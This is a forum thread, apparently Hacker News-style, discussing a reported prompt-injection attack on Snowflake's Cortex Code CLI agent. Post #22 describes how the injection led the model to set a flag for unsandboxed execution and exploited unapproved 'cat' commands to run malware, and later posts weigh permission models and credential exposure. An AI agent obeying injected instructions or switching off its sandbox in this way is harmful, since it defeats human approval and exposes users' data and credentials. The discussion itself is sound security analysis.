[dead]
Snowflake AI Escapes Sandbox and Executes Malware
21–30 of 109 posts
Re: Snowflake AI Escapes Sandbox and Executes Malware
#22One key component of this attack is that Snowflake was allowing "cat" commands to run without human approval, but failing to spot patterns like this one:
cat > Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed.
HOW did the prompt injection manipulate the model in that way?
Re: Snowflake AI Escapes Sandbox and Executes Malware
#23[flagged]
Re: Snowflake AI Escapes Sandbox and Executes Malware
#24Is there a bash that doesn't allow ``?
Re: Snowflake AI Escapes Sandbox and Executes Malware
#25Re: Snowflake AI Escapes Sandbox and Executes Malware
#26[flagged]
Re: Snowflake AI Escapes Sandbox and Executes Malware
#27AIs have no reason to want to harm annoying slow inefficient noisy smelly humans.
Re: Snowflake AI Escapes Sandbox and Executes Malware
#28Re: Snowflake AI Escapes Sandbox and Executes Malware
#29> Note: Cortex does not support ‘workspace trust’, a security convention first seen in code editors, since adopted by most agentic CLIs. Am I crazy or does this mean it didn't really escape, it wasn't given any scope restrictions in the first place ?
[flagged]
Re: Snowflake AI Escapes Sandbox and Executes Malware
#30CLI is quickly becoming the default entry point for agents. But data agents probably need a much stricter permission model than coding agents. Bash + CLI greatly expands what you can do beyond the native SQL capabilities of a data warehouse, which is powerful. But it also means data operations and credentials are now exposed to the shell environment.
So giving data agents rich tooling through a CLI is really a double-edged sword.
I went through the security guidance for the Snowflake Cortex Code CLI(https://docs.snowflake.com/en/user-guide/cortex-code/securit...), and the CLI itself does have some guardrails. But since this is a shared cloud environment, if a sandbox escape happens, could someone break out and access another user’s credentials? It is a broader system problem around permission caching, shell auditing, and sandbox isolation.